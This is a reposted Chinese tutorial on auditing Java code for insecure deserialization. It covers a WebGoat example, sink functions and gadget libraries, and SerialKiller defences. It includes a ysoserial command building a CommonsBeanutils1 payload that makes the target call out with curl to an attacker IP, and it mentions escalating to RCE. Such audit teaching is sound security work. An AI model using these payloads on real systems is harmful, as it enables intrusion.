常见的Java审计代码函数关键字_转载:Java代码审计汇总系列(四)——反序列化...

常见的Java审计代码函数关键字_转载:Java代码审计汇总系列(四)——反序列化..._第1张图片

一、概述

不安全的反序列化(Insecure Deserializations)在最新的OWASP Top 10列表中列于A8。这个漏洞的本质和其他漏洞其实基本相同,是在反序列化的过程中未严格控制用户输入,导致DOS或RCE,只是反序列化这个概念可能稍陌生一点,可通过之前文章了解反序列化原理和Weblogic系列漏洞:Weblogic反序列化历史漏洞全汇总。

二、挖掘过程

以Webgoat的案例讲解:

常见的Java审计代码函数关键字_转载:Java代码审计汇总系列(四)——反序列化..._第2张图片

输入序列化后的字节码对象,使得达到延迟5秒载入页面的效果(RCE),可以看到序列化的数据的特征都是以rO0A开头,现实开发里一般是先将对象序列化处理传输,再经过反序列化过程还原,这里省略了前者。

同样抓包定位到源码,走读代码:

@PostMapping("/InsecureDeserialization/task")

@ResponseBody

public AttackResultcompleted(@RequestParam String token) throws IOException {

String b64token;

long before, after;

int delay;

b64token =token.replace('-', '+').replace('_', '/');

try (ObjectInputStreamois = new ObjectInputStream(newByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {

before = System.currentTimeMillis();

Object o = ois.readObject();

代码逻辑是对输入字符串b64token先进行base64解码,然后使用原生的ObjectInputStream的readObject()方法进行反序列化操作。

确定存在漏洞后可使用BurpSuite的插件进行扫描,插件地址:

https://github.com/federicodotta/Java-Deserialization-Scanner/

常见的Java审计代码函数关键字_转载:Java代码审计汇总系列(四)——反序列化..._第3张图片

后续结合ysoserial进行漏洞利用exploiting,ysoserial的payloads如下:

常见的Java审计代码函数关键字_转载:Java代码审计汇总系列(四)——反序列化..._第4张图片

当然也可以自写使用ObjectOutputStream序列化一个Runtime.getRuntime()的数据进行远程代码执行。详细过程可阅读原文,参考国外一篇文章《Java Deserialization — From Discovery to Reverse Shell on Limited Environments》。

三、挖掘技巧

挖掘反序列化漏洞在业务功能层面关注导入模版文件、网络通信、数据传输、日志格式化存储、对象数据、磁盘或DB存储等场景。

代码层需重点关注一些反序列化操作函数,定位代码后判断反序列化数据是否可控,定位入口需关注反序列化常用的类和函数:

ObjectInputStream.readObject

ObjectInputStream.readUnshared

XMLDecoder.readObject

Yaml.load

XStream.fromXML

ObjectMapper.readValue

JSON.parseObject

Serializable

当确定可以带入序列化数据的入口后,则寻找POP Gadgets利用链,一些存在危险的基础库和框架就提供了可导致命令执行 POP 链的环境,使用ysoserial可直接生成对应的序列化数据对接口进行漏洞利用。

所以在代码审计前可优先查看pom.xml文件,分析是否出现漏洞组件,如CommonsBeanutils、Fastjson<1.2.47等,存在危险的基础库有:

commons-io 2.4

commons-collections 3.1

commons-logging 1.2

commons-beanutils 1.9.2

org.slf4j:slf4j-api 1.7.21

com.mchange:mchange-commons-java 0.2.11

org.apache.commons:commons-collections 4.0

com.mchange:c3p0 0.9.5.2

org.beanshell:bsh 2.0b5

org.codehaus.groovy:groovy 2.3.9

org.springframework:spring-aop4.1.4.RELEASE

四、漏洞防御

1、 升级服务端所依赖的可能被利用的jar包,包括JDK。

2、 在执行反序列前对InputStream对象进行检查过滤,推荐一个开源的Java反序列化库SerialKiller:

https://github.com/ikkisoft/SerialKiller

五、实战案例

前几章的案例思路都是顺向的攻击思路,但漏洞挖掘的时候其实都是先搜索特征字找到漏洞触发点,然后通过回溯的方法找到调用点。

按照这个逆向思维,挖掘反序列化通常使用关键字进行全局搜索,如ObjectInputStream,通过搜索定位到代码DataConvert.java中的byteArray2Object使用readObject进行了反序列化操作:

public static Object byteArray2Object(byte[] byteArray)

throws IOException,ClassNotFoundException

{ if (null == byteArray)

{

return null;

}

ByteArrayInputStreambais = new ByteArrayInputStream(byteArray);

ObjectInputStream ois= new ObjectInputStream(bais);

returnois.readObject();

}

回溯哪个操作调用了这个byteArray2Object方法,依次查看, 其中有一个是handleResultMsg方法。主要看输入是否可控,而这个方法的参数来源于resultMsg+resultMsg2变量的拼接,继续回溯其实是数据表里的result_msg的值,用户输入经过decrypt方法解密后交由反序列化接口处理,故存在漏洞。

private void handleResultMsg(WsMsgLog log, DataSet dataSet)

{

String resultMsg =dataSet.getString(ParamDictionary.RESULT_MSG);

String resultMsg2 =dataSet.getString(ParamDictionary.RESULT_MSG2);

byte[] resultMsgArray= null;

if (null != resultMsg)

{

resultMsgArray =decrypt(resultMsg + resultMsg2);

}

else …

{ try

{log.setResultMsg((Result)DataConvertor

.byteArray2Object(resultMsgArray));

后续观察到系统的依赖中包含了 beanutils,以此作为Gadgets使用 ysoserial 生成 beanutils 的反序列化 payload:

java -jar ysoserial.jar CommonsBeanutils1"curl IP:port" > bean.ser

将生成的二进制格式数据bean.ser填入对应参数处进行发包,收到来自服务器的 CURL 命令请求,验证漏洞存在,后续可生成RCE的payload扩大攻击效果。

若想深入反序列化漏洞的原理和挖掘,可以把历史爆发过的Fastjson、XMLDecoder、Commons-collections、JDK进行集中复现和分析。

你可能感兴趣的:(常见的Java审计代码函数关键字_转载:Java代码审计汇总系列(四)——反序列化...)